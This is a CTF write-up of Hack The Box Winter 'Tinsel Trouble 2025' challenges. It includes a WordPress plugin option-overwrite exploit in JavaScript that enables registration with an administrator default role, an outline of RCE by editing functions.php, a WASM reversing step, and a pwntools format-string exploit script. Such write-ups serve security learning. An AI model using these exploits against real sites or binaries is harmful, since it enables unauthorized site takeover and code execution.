Hack The Box - Winter CTF Tinsel Trouble 2025

This writeup consists of solutions to only web, pwn and reverse I solved .
Web 1:
Silent Snow :
The critical security flaw resides within the custom WordPress plugin source code at src/plugins/my-plugin/my-plugin.php.
// src/plugins/my-plugin/my-plugin.php
public function init(){
if (isset($_GET['settings'])) {
$this->admin_page(); // Called without checking is_user_logged_in()
}
// ...
}
public function admin_page(){
if (isset($_POST['my_plugin_nonce']) && wp_verify_nonce($_POST['my_plugin_nonce'], 'my_plugin_settings')) {
if (isset($_POST['my_plugin_action'])) {
$mode = sanitize_text_field($_POST['mode']);
update_option($_POST['my_plugin_action'], $mode); // Vulnerable: arbitrary option update
}
}
// ...
}
Logic Bypass via
initHook: The plugin attaches its logic to the WordPressinithook. This is a global hook that fires on every single page load, regardless of whether a user is logged in or not. The code checks for the presence of asettingsGET parameter and, if found, immediately invokes theadmin_page()function. Crucially, this function call occurs before WordPress performs standard authentication checks or verifies user capabilities (such asis_user_logged_in()), effectively bypassing access controls.Arbitrary Option Overwrite (The Sink): Once inside the
admin_page()function, the code accepts the$_POST['my_plugin_action']parameter and passes it directly as the key argument to the WordPressupdate_option()function.Failing to implement a whitelist of permitted settings, this creates an Arbitrary Option Update primitive. An attacker can supply any key found in the
wp_optionsdatabase table (e.g.,default_role,siteurl,users_can_register) and overwrite its value with their own input, allowing for complete reconfiguration of the target site.
Solution :
The Attack Chain
Reconnaissance: Identified the custom plugin exposing
?settings=1.Exploit Primitive (Option Overwrite):
Target:
update_option($_POST['my_plugin_action'], $mode)Payload:
users_can_register=1anddefault_role=administrator.// Automatically find nonce if on the page, otherwise paste it manually below var nonce = document.querySelector('input[name="my_plugin_nonce"]')?.value || "YOUR_NONCE_HERE"; async function userswitch() { // 1. Enable User Registration await fetch('', { method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: 'my_plugin_action=users_can_register&mode=1&my_plugin_nonce=' + nonce }); console.log('[+] Registration Enabled'); // 2. Set Default Role to Administrator await fetch('', { method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: 'my_plugin_action=default_role&mode=administrator&my_plugin_nonce=' + nonce }); console.log('[+] Default Role set to Administrator'); } userswitch();
Privilege Escalation:
Registered a new user.
The
my_auto_login_new_userhook bypassed the need for email verification, granting an immediate session.
RCE :
Used the built-in Theme Editor (accessible only to Admins) to overwrite
functions.php.Execute system commands to read the flag.
Reverse Engineering :
Reverse 1:
Clock Work Memory:
We are given a .wasm file , simply throw it to any decompiler.
We notice a check_flag function :

The function had a Hex which stores integer : 1262702420 and a HEX : 0x4B434F54

Deriving Little Endian in ASCII from this based on WASM , we get “TOCK”
We have a data Section :


Now using Cyber Chef we get the flag :

PWN:
Pwn 3:
Feel my terror:
We got the following files in zip:

Now to understand the environment :
$ file feel_my_terror
feel_my_terror: ELF 64-bit LSB executable, x86-64, not stripped
$ checksec feel_my_terror
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
Since PIE is static we know that the variables remain constant .
Now in IDA :
main() has a lot of functions but the interesting seemed to be a check database function:

check_db seems to be comparing and storing addresses which we need to modify :

Now time to assign required values to arg1, arg2…arg5 by finding their address :

0x40402c: 0xdeadbeef # arg1
0x404034: 0x1337c0de # arg2
0x40403c: 0xf337babe # arg3
0x404044: 0x1337f337 # arg4
0x40404c: 0xfadeeeed # arg5
Now time to write a pwntool script :
from pwn import *
context.binary = binary = ELF('./feel_my_terror')
context.log_level = 'debug'
HOST = '154.57.164.73'
PORT = 30904
def start():
if args.REMOTE:
return remote(HOST, PORT)
else:
return process(binary.path)
io = start()
writes = {
0x40402c: 0xdeadbeef,
0x404034: 0x1337c0de,
0x40403c: 0xf337babe,
0x404044: 0x1337f337,
0x40404c: 0xfadeeeed
}
offset = 6
#I derived this after improvising script, offset is nowhere given you will have to determine it.
payload = fmtstr_payload(offset, writes, write_size='short', numbwritten=0)
io.recvuntil(b'gifts :)')
io.sendline(payload)
io.interactive()


